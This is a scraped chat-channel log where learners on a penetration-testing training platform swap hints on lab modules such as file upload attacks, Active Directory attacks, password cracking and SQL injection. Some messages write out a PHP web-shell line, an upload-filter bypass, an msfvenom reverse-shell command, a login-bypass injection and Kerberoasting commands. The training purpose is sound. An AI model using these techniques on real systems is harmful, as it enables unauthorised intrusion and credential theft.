#modules

1 messages · Page 85 of 1

coarse raven
misty current
#

Yup, but I doubt just adding the domain name bumps directly to DC01 here. Not sure hmmm

fathom pendant
#

Also just ask your question

coarse raven
#

okay, ty, ill put it all together, few mins lol

misty current
#

@fathom pendant Usually how you get on machines (so far from what I've read from the module) is you supply the machine name to other tool like Invoke-WMIExec, where you mention the machine you want to execute command on.

fathom pendant
#

True

#

I'm just kinda half paying attention

misty current
#

I'm getting refresher on this topic helping Moo32 here lol

fathom pendant
#

It helps reinforce knowledge

#

It's why I lurk here

misty current
#

Same lmao

marble kraken
#

So, got this right now. started it very late last night, and went to sleep unsatisfied of not solving it. So many special cases in bash. like: " $var" if var is String but $var if var is number.

Then there was the issue imo that when talking about the "last 20 chars of a value in base64" it should technically be echo -n $value (to avoid the newline added ), but examples use straight echo or echo -e.

Question: Double brackets [[ "$var" == "$val" ]] need to be added exactly when?

To get a boolean value out of the test? Do I NOT get a boolean value out of the test function / [ ] brackets when its like: [ "$1" == "myfile.txt" ] ?

Or do i need the double Brackets [[ ... ]] only when using boolean operations, like in: [[ "$var1" == "KFC" ]] && [[ $cash -lt 10 ]]

Thanks for your support

misty current
#

For understanding purposes, try playing around with impacket-smbserver.
But for short to clear your doubt on how SMB is confusing you is
I could host a share named julio on DC01 which serves from the location C:\Temp\David
which means, everything you see when you list \\DC01\julio is all files under C:\Temp\David not C:\julio

golden vortex
#

Im on module Active Directory Enumeration & Attacks section Credentialed Enumeration - from Windows. Im using the credentials given but i cannot connect to rdp

misty current
red current
#

I seem to be having nothing but issues with the Client-Side Validation section in File Upload Attacks. None of my attempts to upload a payload appear to work. I think the instructions are lacking something. Do we have to change the name of the file before uploading it, or when we change the file name in Burp does that tell the web page to automatically pull that file name?

misty current
golden vortex
misty current
#

can you paste or ss the commands you're using?

fathom pendant
#

unverified users can't share screenshots

misty current
#

Ah, he's unverified.

golden vortex
misty current
fathom pendant
#

Single quotes around the password should do

cedar void
#

Thanks

fathom pendant
cedar void
acoustic owl
fathom pendant
#

? The question says .local

cedar void
fathom pendant
#

The vhosts they give you, are also .local

fathom pendant
cedar void
#

Oh okay. interesting cause that is what I copied

fathom pendant
#

He simply copied the typoed command you shared

acoustic owl
fathom pendant
#

¯_(ツ)_/¯

#

Payload is just really active in helping community

cedar void
#

Maybe it was from something else. NM

fathom pendant
red current
#

I'm still stuck in the Client-Side Validation section in File Upload Attacks. I've tried using Burp to modify the file name so that I can upload a php file and tried using the web developer tools to remove the file restrictions. Neither works.

acoustic owl
fathom pendant
red current
fathom pendant
#

I haven't done that module just throwing an idea

#

I'd suggest going over all the strategies in the module

cedar void
#

Still getting the 'permission denied' error

image.png
fathom pendant
#

Just do sudo {insert text editor here} /etc/hosts

cedar void
#

so leave out 'echo '10.129.172.169 app.inlanefreight.local' >>?

fathom pendant
#

Yes

cedar void
#

so the text editor I will use is nano. so 'sudo nano /etc/hosts'?

fathom pendant
#

Yes

red current
rustic sage
red current
#

I'm also using the msfvenom script from the previous section to create my payload.

#

I also tried modifying the page using the web developer tools as the section shows. This doesn't work either. It either breaks the page or just doesn't do anything at all.

rustic sage
#

For the record, because I did not do the module yet. You've got a file which containts <?php system($_REQUEST['cmd']); - right? Save the file as Image.php.png and try to upload it. There shouldn't be any restrictions, because, it is a .png file. Intercept the request with Burp and change the file name to Image.php (remove the .png). After that you can forward the request

red current
rustic sage
#

It's always the easy things 🙂 Glad to help

red current
#

And my listener doesn't grab anything.

#

I'm going to restart the instance. I think that's probably going to fix it.

rustic sage
#

Well, I just started the module and did exactly what I wrote before. And Burp's response is: File uploaded successfully

red current
rustic sage
#

Wait, what?

#

You need to go to /profile_images/shell.php?cmd=id

#

To activate the shell

#

Because if you forwarded the request, your shell should be already uploaded to the server

red current
rustic sage
#

Hit me up If you're stuck again

#

I just submit the flag.

red current
rustic sage
#

👍

limber river
#

any hints in file uploads skill assessment ?

rustic sage
#

File upload is on the contact form

limber river
rustic sage
#

You could start dirbuster

limber river
#

I tried fuff but nothing

#

I am gonna look for something else

rustic sage
#

The only suggestion I can give rn is Path Traversal Attack

limber river
#

whaaat hhhh

#

anyway ty bro , I need to try harder

rustic sage
#

@limber river Someone wrote following on the forum a while ago: 1). You must identify which PHP files are in the web application. You can use ffuf to find them. 2). When you find the PHP files, try to read them. One of them tells you the path. The “Limited File Uploads - XXE” section of the module tells you how to read PHP files.

limber river
#

2 ) trying to figure out the step 2

heavy fern
#

Do I get extra cubes if I find a misspelling in a module?

novel matrix
short mirage
#

Hi, can someone give me a hand on the AD enumeration and attacks, privileged access section? I am asked to find what other user in the domain has CanPSRemote rights to a host, but using the provided command and bloodhound, I can only see that the user forend has CanPSRemote rights. I can't find another user. Can I have a hint, please?

fathom pendant
fathom pendant
#

Dude im a beginner too lol I had 0 clue on how PtH/PtT worked

red current
#

I'm on the Black List Filters section of File Upload Attacks. I found several working file extensions. However, every single one of them just prints the contents of the file to the page. It doesn't execute anything I send. I've noticed a couple of people on the forum mention this, but I don't see a solution for it. Has anyone been able to get around this?

wide river
#

brooooooo you already surpass me !!!!

red current
fathom pendant
#

That tends to happen lol you leapfrog ahead of someone then crawl to a walking pace

limber river
#

it works for me

red current
limber river
#

any help file upload skill assesment

image.png
sleek urchin
#

so image extension then php extention

limber river
fallow delta
#

Hey quick question on the Kerberos attacks module, for Unconstrained Delegation - Users using krbrelayx's addspn.py; the syntax in the mod specifies addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local but when I try using the --target-type samname the script errors out. Checking the man page there is no such flag. Anyone find a workaround for this?

dapper star
#

Someone mind helping me with Password Attacks Lab - Medium?

acoustic owl
dapper star
#

Logged in as J, found D but no password. I know what service I need to use to find it but can't log in to that service using J or root

fathom pendant
dapper star
#

Can't find it...

#

have been looking for 2 days now

fathom pendant
#

Can't you just use the command with no arguments to connect?

#

Iirc

#

My notes only say documentation was important

acoustic owl
#

There is something that J can access. There you should find what you are looking for

karmic wren
#

Hello hint for password mutation in password attack module. What I can do to reduce my time

acoustic owl
earnest ginkgo
#

Guys Could you tell me How to get flag from Machine : PC Plz. T_T

acoustic owl
earnest ginkgo
acoustic owl
earnest ginkgo
earnest ginkgo
acoustic owl
earnest ginkgo
#

Okay

karmic wren
#

Still it is 17000 wordlist it takes time.

autumn pilot
#

there are hints in this channel

#

that will help you reduce the time

karmic wren
autumn pilot
#

Search for them, I don't know exactly the date or the time of the hints

fiery berry
acoustic owl
spark iris
#

am i the only one

#

like im trying to answer a question, i see its wrong.
i look for the answer for like idk 1-2 hours i go back to my first answer and somehow its right?

wanton mica
#

Hello all, on the attacking joomla section in the attacking common applications module. Found the flag, but can’t do anything with it with the script given…can’t print it out or anything. Any guidance?

misty current
#

When you're sure about an answer, make sure to pay attention to what you're selecting for paste or typing.

karmic wren
#

move parameters. I don’t get it !????

acoustic owl
brave sail
#

In order to open a KeePass database file in a windows command line I'm using the following command: .\KeePass.exe C:\PATH\adatabase.kdbx -pw:'crackedpassword' . The terminal is not displaying anything however. Am I missing something?

karmic wren
#

How to know default creds of mysql. Password reuse/default password

rustic sage
#

@limber river Did you find the path to the uploaded files?

acoustic owl
acoustic owl
pine dagger
#

Anyone have a hint on Introduction to Deserialisation Attacks: Object Injection (PHP)? I'm injecting the XSS in, but I'm not getting the file output. Either the XSS method isn't giving output, or I'm pointing at the wrong file location.

candid zephyr
#

Yo all for RDP and SOCKS Tunneling with SocksOverRDP am I supposed to be locked down by windef and privesc to disable it or am I misisng something?

#

These academy boxes are buggy af so not sure if I am supposed to restart it haha.

#

oh nvm the account is already administrator

marble kraken
# spark iris am i the only one

I had the same feeling- after wasting several hours. It was mostly questions where there wasn’t a real flag, but something like “Enter the number of chars in var_x” or similar. Very frustrating. Especially when you theoretically know how to get the answer in 1-2 mins, you implement it, it’s wrong, and you spend hours digging rabbit holes to circle back eventually and somehow it works

shadow current
#

can anyone suggest a good module for someone starting out as a infosec analyst

quartz saddle
#

yes am here

#

SQL Injection Fundamentals

west rampart
#

you're command is wrong

#

it's not -h docker.hackthebox.com

quartz saddle
#

thaats what the site says

west rampart
#

it's -h IP -P PORT

#

these are examples

quartz saddle
#

yh

#

even if i do it with the real ip it gave me it gives me the same error

west rampart
#

so the correct command would be mysql -h IP -P PORT -pPassword

#

or mysql -h IP -P PORT -p

quartz saddle
#

aha

#

my bad

ocean night
#

oho

#

Cheers Mickhat, have fun D4rka4k 🙂

west rampart
#

5.99

#

😂

ocean night
#

Put it on the tab

west rampart
#

If you need help DM me or open a ticket on the platform ( a colleague is working) @quartz saddle

quartz saddle
#

ive dmed you :)

spark iris
#

originaly i started doing HTB for the sake of learning abit SyS admin stuff
as i believe, if you know how to break stuff for sure you know how to protect and fix it 😂

ocean night
#

Exactly right @spark iris !

limber river
jaunty mortar
#

Can anyone help with attacking common applications skills assessment 2
What is the admin password to access this application?
I tried the default credentials and also a brute-force attack for the default admin user nxxxxxadmin, but no luck yet

karmic wren
#

Why access denied ???? When I want to get the sam with reg.exe

fathom pendant
#

Are you running it as admin? Are you saving it to a writeable location?

karmic wren
#

Thank u.

spark iris
#

imcurrently around in the middle of linux fundamanetals and i gotta ask, there is alot of questions which make me realy to actualy google stuff to find the answers

#

is it me just that im stupid or is it indented?

misty current
# spark iris is it me just that im stupid or is it indented?

Not everything is included in the modules (but so far the modules have mostly enough to answer the section questions) and this practice of googling to find answers is a key skill. (Unless you're referring to googling literally the answers to the module questions)

spark iris
#

for example

||ss -l -4 | grep -v “127.0.0” | grep “LISTEN” | wc -l||

i would never come up with this command in my mind myself.

misty current
spark iris
#

just wanted to see how other people went through it or if the modules explain everything realy good (even though i still feel the elaboration of commands lacks abit) or i just struggle in unterstanding

#

it results into a fustration of your own self

misty current
#

Ah, frustration is inevitable. Trust me everyone who signed up for this go through that every other day.
Take breaks. You got this.

sacred ermine
#

Attacking Common Applications - Skills Assessment II

What is the URL of the WordPress instance? --> unable to find it, cannot FUZZ vhosts, since the web site drops instantly(kinda DoS)

What is the admin password to access this application? --> cannot find password, no success for a long time, found nothing useful in gitlab, although I could not find appropriate exploit for that version of gitlab.

Thanks.

zinc marsh
brave sail
jaunty mortar
acoustic owl
zinc marsh
#

i always check there

#

but there are a lot of SHA256

high orbit
#

Hi guys

#

How are you?

west rampart
high orbit
west rampart
#

ok

high orbit
#

When I start "File Upload Attacks Module", I used msfvenom to create the payload
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=4444 -f raw > reverse.php

IP from ifconfig, and the port we will listen by

when I upload the payload and click Download file I didn't get anything/shell by nc -lvnp 4444

#

The result ^

zinc marsh
#

fuck metasploit lol

zinc marsh
#

unless u used wrong port or ip

rustic sage
#

Heyo, redoing a question I've done earlier in the "Starting out" module.

SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.

Can't figure out a way to gain access :/ Have tried gtfobins without any luck. Pointers?

high orbit
#

When it's didn't work, I used "<?php echo system($_REQUEST['cmd']) ?>"
and ?cmd=cat /flag.txt

I tried to do the reverse shell but it's don't work yet

misty current
high orbit
#

yes, I get the flag

misty current
#

Does the module you're doing asks you to get a reverse shell? or it's out of your own interest?

#

Looking at the target address, there's possibility that the outbound request to connect to our listener might not be possible? I might be wrong

#

you can run commands to check by printing the NIC and routes to confirm?

pine dagger
rustic sage
#

guys how do i start?

#

i just want to lean some basic code

pine dagger
#

Code what?

rustic sage
#

anything ]

#

i dont know anything

#

just some basics i guess

pallid geyser
#

Hi guys, how i know the index number of a directory ?

zinc marsh
#

this is not a coding server

acoustic owl
red current
#

Can I get some help on the File Upload Attacks module in the Blacklist Filters section? I have tried all of the extensions that give 193 length response and oddly enough, some of them still won't work. All of the others that do work just give a single black box on the page instead of executing the command to print Hello HTB on the page. Has anyone else run into this?

rustic sage
#

Why not add the reference to revshells.com in the module Shells & Payloads?

pallid geyser
#

Why u cant use the pwnbox anymore????

#

Just for 100 min

fathom pendant
#

Are you referring to the academy one or the main site

pallid geyser
#

The academy one

#

Bcz i want to answere some questions

#

But now i cant

fathom pendant
#

Academy you get one daily spawn unless you purchase cubes :p you can always restart it if you've already paid for a sub or cubes

#

Once you buy sub or cubes it's infinite

pallid geyser
#

Where can i purchase with cubes?

fathom pendant
#

You don't purchase pwnbox with cubes

#

You just need to purchase cubes

pallid geyser
#

Aaaaaa i purchase cubes okey

#

Just once

#

And i get infinite

#

?

fathom pendant
#

Ye

#

I don't have a sub and have infinite spawns

pallid geyser
#

Thats cool

acoustic owl
pallid geyser
#

Or i cn use a vm and connect aswell?

fathom pendant
#

Yep

#

VM is infinite connection time

pallid geyser
#

Yep but i need a pc first xd i hve a bad pc

#

So...

fathom pendant
#

Pwnbox is there for users who can't run a VM on their own system

pallid geyser
#

True, i think i will buy some cubes

fathom pendant
#

The cheapest is like $5 USD?

zinc marsh
#

Module: Password Attacks | Section: Protected Archives | Q: Use the cracked password of the user Kira, log in to the host, and read the Notes.zip file containing the flag. Then, submit the flag as the answer.

#

what wordlist should i use?

#

am using rockyou.txt and i cant crack the archive

fathom pendant
#

At this point you should already have cracked kira's password iirc. However there is a resources button: and a section telling you how to mutate

zinc marsh
#

i mean the wordlist to crack the zip file

fathom pendant
#

Password attacks reuses the same boxes/creds

#

Same wordlist iirc

#

Try with the base then move over to the mutated

zinc marsh
#

ty

red current
#

Is there anyone able to assist with the Blacklist Filters section in File Upload Attacks? I have the list of working extensions, but for some reason even these get rejected when attempting to use them. I've run out of all available extensions with the provided lists and I either get the command printed on the page when I navigate to the file or just a small white box in the center of the page.

acoustic owl
pine dagger
#

In Introduction to Deserialisation module, Tools of the Trade, the question:
Using PHPGGC, obtain RCE on the target and submit the user-id of dnsmasq
I've checked the running processes, but I can't see dnsmasq running. Any ideas what I'm missing?

red current
acoustic owl
red current
uncut carbon
#

Anybody here using the modules to Help prep for eJPT and eCPPT ?

pine dagger
red current
# pine dagger ||One will||.

I've been through all of them several times now. They either print the code on the page or give a white square in the center of the page.

acoustic owl
red current
#

Am I supposed to modify the extensions in any way? I haven't tried adding any extra characters to them yet.

pine dagger
red current
pine dagger
#

... yes that's the point of the challenge.

#

You are trying to find which file extension bypasses the blacklist, but can still execute php code.

red current
pine dagger
#

Because you ||fuzz it with the list of extensions to find out which ones upload successfully.||

red current
#

Ah, got it. So even though the site won't take them, they might still have execute capabilities so we need to find a way to still get them through.

pine dagger
#

I think you're overthinking it. Literally its just bypassing a weak upload check blocking .php file extension. You need to upload the file with an extension that gets around the blacklist, and would still be executed by the php server.

red current
#

I've tried all the ones that give a length response of 193. I need to go back and see if I can find a way to get any of the others through somehow.

acoustic owl
#

All that have returned 193 as length have been uploaded.
So now you have to call the individual files in the browser and check if they execute your PHP code

pine dagger
#

If it gets uploaded, but doesn't execute successfully to give you a shell, there's probably something wrong with your shell code.

acoustic owl
#

Try this PHP Code

<?php echo "Hello world!"; ?>
#

The page will then display Hello World. If not, the code was not executed

red current
#

Not sure why this particular extension didn't work before, but I got it! Thank you both!

pine dagger
#

Sometimes things just don't work first time. As PayloadBunny knows from me messaging them yesterday (- -)

#

(╯°□°)╯︵ ┻━┻

fathom pendant
#

I was having an issue with crt.sh last night and got parsing error... Reran the command and it worked

#

Just?????????

pine dagger
#

Possibly imported something correctly, or set an environmental variable?

fathom pendant
#

I legit changed NOTHING

pine dagger
#

yeah but the command might have changed something (i've no recollection on what crt.sh is)

fathom pendant
#

crt.sh is a website that grabs public certs for sites

#

So you curl it

zinc marsh
#

someone i can ask to ask for sanity check in password attacks easy lab

acoustic owl
wraith mural
#

Module 21 Section 129 exercise is wrong. Question asks for 20 chars but 19 chars is the accepted answer.

fathom pendant
acoustic owl
zinc marsh
fathom pendant
#

They did lol

pine dagger
fathom pendant
#

Bash scripting

wraith mural
zinc marsh
#

is intended the public key error in the easy lab?

#

in password attacks module

fathom pendant
#

Pub key error? You mean attempting to ssh in and getting ... (Publickey)?

zinc marsh
#

yea

fathom pendant
#

That just means you need an rsa to ssh in

#

Instead of password

#

Default is like "public key, password,"

zinc marsh
#

where i had to save the rsa?

fathom pendant
#

But yeah it's not necessarily an error so much as "you need to get something else first"

#

Check the combo you have against available services

flint laurel
#

||How do I crack the Notes.zip Files in Kira's Folder||

Question:

Examine the target and find out the password of the user Will. Then, submit the password as the answer. | Under Credential Hunting in Linux

||I have found Kira's Password i can see .bak files under Will's account but unable to crack .zip file Please help||

fathom pendant
#

So here's the thing: the module uses the same box, so you will get things you need later

zinc marsh
#

but not sure how to use the cracked key

fathom pendant
#

Use the rsa key to sign in and watch the magic

zinc marsh
# 
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
mike@skills-easy: Permission denied (publickey).```
#

forgot the permissions i think

fathom pendant
#

Yep

zinc marsh
#

yea now it worked

#

i should have readen the bad permissions before lol

fathom pendant
quartz saddle
#

i have the ip and port but it wont let me use mysql

#

can i have any hints or smthing been stuck for a hour

fathom pendant
fathom pendant
quartz saddle
#

SQL Injection Fundamentals

#

on the using coments section

zinc marsh
#

.zip is for the protected archives section

quartz saddle
fathom pendant
#

I haven't done that module

flint laurel
zinc marsh
quartz saddle
misty current
#

Just make sure to mask out sensitive informations.

fathom pendant
#

Iirc the un* command isn't on the victim machine

rustic sage
quartz saddle
rustic sage
misty current
quartz saddle
#

Thanks

#

Don't ruin it but have I have a little shove

misty current
#

Nah, won't ruin it. dw

misty current
quartz saddle
#

That's what I did

#

I log in but it's not with the 5 id

#

Like erm

#

admin' - - '

#

Kinda really scuffed on phone

misty current
#

dw, i get it.

#

so you're getting logged in as admin, correct?

quartz saddle
#

Yes

#

I've done

#

Tom

#

John

#

And asmintrstoe

misty current
#

well, you're trying to login to a user whose id is 5

#

meaning that the only condition that should be true is id is 5

quartz saddle
#

Dk how to do that atall

#

Tired everything I've been told pretty mich

misty current
#

you just make sure everything else is false

quartz saddle
#

Still

misty current
quartz saddle
#

Around that I can't remember rn

misty current
#

take a look at the module examples once again, get a clear understanding of what the operators do

#

and try again.

quartz saddle
#

Yeah ill js skip it pissed me off to much cbs

quick cloud
#

if anybody's pursuing CPTS and looking for an accountability partner I'm down. Im currently on Password Attacks!

misty current
#

Spray it on the network

#

You have a valid username:password combo which was cracked from the TGT which was directly provided to you from the KDC

sleek epoch
#

Has anyone osint module course from htb?

#

Corporate osint

misty current
#

you can use cme to spray the credentials to see which machines these creds pwn or have local access to

thorn urchin
#

You also just now have access as the peter user

#

what he can reach you can reach.

#

and hey he may have unintended higher privs n such that can be discovered with bloodhound

#

or maybe hes just a dead end, not all users are useful.

acoustic owl
zinc marsh
#

u told it

#

u can move laterally

#

check if he has access to something interesting to do the privesc

flint laurel
#

Examine the target and find out the password of the user Will. Then, submit the password as the answer.

#

i am stuck on this question i have kira's password

#

i copied the passwd file and note to my pc

zinc marsh
#

u told u had access to .bak files

red current
#

I have a question for the Whitelist Filters section of File Upload Attacks. Do we need to use more than one wordlist to complete this section and get the flag, or is the PHP wordlist modified with the bash script the only one we need?

high orbit
#

Hi guys

#

How are you?

red current
#

I have an extension that gives a Forbidden You don't have permission to access this resource. The others just give a Not Found error.

high orbit
#

in the "File Upload Attacks Module" I upload the .php2 file and it uploaded successfully but didn't execute, So when going to it, it show me the code

red current
zinc marsh
#

in password attacks hard lab

#

when i upload the file to windows where is it stored?

red current
analog tendon
#

ok ive had help from someone on this broken authentication module section Predictable Reset Token but i keep getting traceback errors with the script. does anyone here have a solution that can help?

#

been stuck on this for 2 weeks now

zinc marsh
red current
red current
analog tendon
#

like its a simple script and no matter what i do i get the same exact error

#

I would ask for staff help again but for some reason the page will not pop up the request help discord button

limber river
zinc marsh
#

https://academy.hackthebox.com/achievement/664482/147

Completed Password Attacks

Passwords are still the primary method of authentication in corporate networks. If strong password policies are not in place, users will often opt for weak, easy-to-remember passwords that can often be cracked offline and used to further our access. We will encounter passwords in many forms during our assessments. We must understand the various ...

#

the longest module i have done for now damn

#

and tedious

#

closer to complete 50% of the academy 😄

modules.png
sleek epoch
sleek epoch
pine dagger
trail leaf
#

Doing the Documentation and Reporting module right now, I've typed the key combo for a vertical split in however many ways I could guess the question is asking for but it's still not taking my answer

zinc marsh
trail leaf
#

ah, skipped over that

quasi wave
#

Is it possible to complete both CPTS and CBBH learning paths in 5 months?

#

Or 6?

#

Forgetting about the exams?

#

Let’s say I practice on both academy AND main platform

trail leaf
#

The time estimates on each module typically assume that you're a complete novice, and off the top of my head, CPTS and CBBH are both about a month each?

#

Maybe less, I'd need to check

#

The better question is how long it'll take to absorb that content and make good use of it, which is entirely dependent on how much you already know and how well you learn from the material

fathom pendant
trail leaf
#

oh yeah that too

#

about a third of it overlaps iirc

sleek epoch
fathom pendant
#

Just fucking go to the link lol

#

Or look up Corporate OSINT on academy

misty mural
#

Hello. I’m working through the Host Discovery page of the Nmap module. There’s a question at the end of the page asking me to find out which OS is running on a target network.

Am I supposed to solve the question with the info on the page, or perform an nmap scan on a spawned workstation?

red current
prime nova
#

are the servers down?

#

nvm it worked now:D

misty mural
#

Aha. I’ve got it.

red current
misty current
#

It's up but then it throws 500

languid fjord
misty current
hollow frigate
misty current
frigid ingot
#

i am

misty current
#

Ah, I've been trying to spin up the target on AD Enumeration & Attacks - Skills Assessment Part I for the past 20 minutes.

#

It spawned now

#

Thanks guys!

hollow frigate
rustic sage
#

Anyone knows why im getting host unreachable with both vpn starting point or pwnbox?

#

I looked up and seems to be a common issue, but i didn't find a solutoon yet. Anyone can help?
Already checked the vpn and was connected correctly.

fathom pendant
rustic sage
#

Sorry about that, was the only section i could write into

fathom pendant
fathom pendant
rustic sage
#

I should make a post in community help?

fathom pendant
split ruin
#

should there be any credentials for the IMAP/POP3 section of footprinting module?

fathom pendant
#

Yes

#

Read carefully

covert monolith
#

is setting up a VPS is important?

fathom pendant
#

Not really for Academy

covert monolith
#

oh alright, because i dont have money to buy the server, thank you

#

because I'm still student

split ruin
long grove
#

Need help with Attacking Common Services Medium Lab. Found a username, but bruteforcing make no results. Can anyone give a hint?

autumn pilot
#

there is a non-default port that you need to focus once you have a username

sick pond
#

triage

long grove
#

@autumn pilot And it can be said a little clear.

frigid ingot
#

.

sacred ermine
#

guys, anyone who can help with
section: Attacking Thick Client Applications
module: Attacking Common Applications

sacred ermine
#

guys

#

idk know what to do even

undone plover
#

Hi guys, I am working on Web Attacks module (currently XXE Advanced Exfiltration with CDATA) and I am stuck on one of the examples. I tried to recreate it, however the payload does not work and I am not sure I understand why. Can anyone help please?

sacred ermine
sage glacier
#

sorry guys, i have a problem. I am on Intro to Network Traffic Analysis module and i have found this question: "Given the capture file at /tmp/capture.pcap, what tcpdump command will enable you to read from the capture and show the output contents in Hex and ASCII? (Please use best practices when using switches) " in tcpdump's submodule. I have probed all combinations that i think are correct but nothing of that are correct. I need helpprayge

#

and the same thing happened to me in this question: What addressing mechanism is used at the Link Layer of the TCP/IP model?

#

i probed with MAC but it isnt correct

sacred ermine
plain coral
eager hatch
#

Module: SQLMap Essentials
Section Name: Bypassing Web Application Protections - case #10
Hello everyone, I have a question for the case #10: I managed to get the flag both manually and through sqlmap but I did "nothing special".
I did not have to add special switches to sqlmap or modify my HTTP requests so I was wondering what was the "Primitive Protection" to be bypassed.
Thanks!

pine dagger
#

Did you manage to solve this? I'm up to that same point.

#

Does anyone else have any pointers on ||how to generate the CSRF token appended to the end of the cookie|| in Introduction to Deserialization Attacks Skill Assessment II?

lethal shard
onyx rapids
#

If anyone gets stuck on the osTicket section of the Attacking Common Applications Module, here is a brief explanation.
support.inlanefreight.local will take you to a login page, but it isn't the correct login page. You need to visit this page instead:
support.inlanefreight.local/scp/login.php

If anyone is wondering why there are two login pages. The reason is that the one page is for customers of the ticketing system to login and interact with their tickets. The other login page is for Inlane Freight staff who manage and reply to the tickets.

They should have explained that there are 2 login pages in this section, or just setup a redirect on the landing page. There are 22 people asking the same question in here, it's ridiculous.

acoustic owl
onyx rapids
pine dagger
rustic sage
#

Any one knows how to make IDS

onyx rapids
# acoustic owl Maybe you missed this picture in the module. https://academy.hackthebox.com/modu...

Ideally they should teach us that there are 2 login pages. Actually, they should have integrated that fact into the challenge. Enable guest user sign in here (support.inlanefreight.local), and force us to look at the tickets to find the name of one of the user agents. Then show us how to brute force the agent's password on this login page (support.inlanefreight.local/scp/login.php) using a simple list of 100 passwords.

We've just taught everyone that it's possible to login to "Customer" and "Agent" accounts, which is piece of critical information, and how to brute force those accounts, while at the same time avoiding 22 people asking the same question in chat.

acoustic owl
rustic sage
#

Koi mera dost banega biru.. Loog me good admi hu.. I want personal hacking sangathan so i discuss alag alag project #all

pine dagger
#

What

hushed bough
rustic sage
#

can someone help me with that question in command injection Bypassing Other Blacklisted Characters

#

or give me a hint

#

i tried a lot of paylods

lethal shard
acoustic owl
hollow finch
#

On the Password Attacks module where we are supposed to use crackmapexec to get winrm user....how are we supposed to download the "Resources" file onto the Parrot OS VM?

cosmic helm
#

currently working on Introduction to Bash Scripting: Flow Control - Loops, can someone explain why the decryption doesn't work?
||

for i in {1..28}
do
        var=$(echo $var | base64)
        salt=${#var}
done
```||
red current
raven quail
hollow finch
#

@red current Network Services, question 1

raven quail
red current
#

I'm running into an issue with the first question on the Limited File Uploads section in File Upload Attacks. I tried using Ffuf to get a list of directories or pages and I only get the same directory starting with the letter i. Does anyone have any hints for this one?

hollow finch
#

@raven quail Unable to download the "resources" from the "Password Attacks - Network Services" module...apparently it is the only way to solve the winrm user question, etc

raven quail
cosmic helm
#

okay, i did that. still got bad decrypt

raven quail
zinc marsh
#

someone can give me a nudge for the module: attacking common services - section: attacking sql databases

#

What is the password for the "mssqlsvc" user?

fathom pendant
acoustic owl
zinc marsh
#

i just needed to read a bit more about how ||responder|| works

#

was doing it wrong

rustic sage
#

any nudge on footprinting lab medium . got access to the database not able to get the htb user password

image.png
red current
#

I've tried using several different payloads for the Limited File Uploads in File Upload Attacks, and nothing seems to work to get the flag for the first question. Ffuf should be able to locate pages or directories and that isn't working either. It's almost like there isn't anything to find here. It's really strange.

acoustic owl
rustic sage
#

users ?

acoustic owl
fathom pendant
red current
rough plinth
#

hello i wanted to ask where can i just talk to ppl ?

acoustic owl
acoustic owl
rough plinth
#

oh it says i have no acces

fathom pendant
#

Look around for a file that has access credentials to sign in with potentially. Or maybe another user has better permissions that you find creds for

rough plinth
#

srry but i didnt understand wut u mean

fathom pendant
#

Sorry thought I replied to someone

#

Mobile is dumb

fathom pendant
rough plinth
#

oh ok ty

red current
acoustic owl
red current
# acoustic owl You can upload pictures, right?

Yes, but any time I try to add the script to them like it shows in the section, I either get an error that there is no content or I get nothing at all but blank page with Update your logo written on it. And the source code just has the usual page info.

misty current
#

Has anyone faced an issue where, you kerberoast and redirect the outputs to a file in the machine.
Then when I try move the file to my machine, The format is just very bad. (sharing screenshots)
This is a screenshot from the antak webshell. I cat it and it seems fine but

image.png
#

Here's how it is after downloading

image.png
fathom pendant
#

Sometimes you may need to upgrade a webshell to a full shell

misty current
fathom pendant
#

Have you tried just copy/paste?

acoustic owl
red current
misty current
acoustic owl
hollow orchid
red current
misty current
zinc marsh
misty current
#

Active Directory Skills Assessment 1

red current
# acoustic owl Okay, XML is fine. Which graphic format does XML use?

I guess my issue is that there doesn't appear to be a way to know what directory the flag is in. I've tried using ffuf, the provided scripts, and just trying to get things we've used in previous sections to work and I can't find the right directory. Ffuf should have been able to provide it.

pine dagger
wide river
misty current
# wide river

Yeah, the command I used is more preferred to be saved to a CSV file.

wide river
misty current
#

We could, but I was thinking in cases where we just want to get all the TGS in a file and crack it one go to save time.
Like Simple one file transfer and supplying the file direct for cracking.

misty current
wide river
dapper creek
#

hey guys im on Password attack module, on Credential Hunting in Linux i was able to login on the system but i can not find will credential any hint?

wide river
#

the problem is about the space right?

fathom pendant
misty current
#

Yeah, but wouldn't cat'ing the csv file just make it worse? I haven't tried it so I'm not sure.

fathom pendant
zinc marsh
dapper creek
#

i saw that but only i can read one file there

wide river
dapper creek
#

let me try again with lazagne so

fathom pendant
misty current
red current
#

Any clues on how to find the right directory for the Limited File Uploads in File Upload Attacks?

misty current
#

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Out-File -File TGS.txt my mistake was this command, hoping that I would get the hashes down quickly to start cracking, instead of transferring rubeus to the machine.

#

But, yeah. Thanks for pointing that out. @wide river

wide river
sage glacier
prime nova
#

which modules do you recommend to start? an order to follow since im a beginner in this prayge

image.png
fathom pendant
#

Infosec fundamentals path

dapper creek
#

@zinc marshive got some error with lazagne

prime nova
fathom pendant
#

Left-hand side there's a paths button

#

:)

prime nova
#

thank u i found it12

zinc marsh
acoustic owl
zinc marsh
#

in attacking common services the dns section

#

do i need to add the ip to resolvers.txt?

fathom pendant
#

Nah @winged hedge

dapper creek
acoustic owl
rustic sage
#

woot!! finally

image.png
winged hedge
fathom pendant
#

Looks like they are selling edu emails or something

fathom pendant
rustic sage
fathom pendant
#

pika_sip honestly going back over modules, especially if you struggled. Is helpful

#

Or even looking if alternative ways exist

acoustic owl
# rustic sage again ? 😮

The point is not to complete a module as quickly as possible, but to take away as much knowledge as possible

fathom pendant
#

^ can you reliably re-exploit something

rustic sage
fathom pendant
#

It's a big reason why I lurk here. It reinforces knowledge

wide river
acoustic owl
wide river
#

it makes sense now

rustic sage
#

learned alot found new techniques that i didnt new, well gonna retake module after few days

fathom pendant
#

As opposed to the example given?

acoustic owl
#

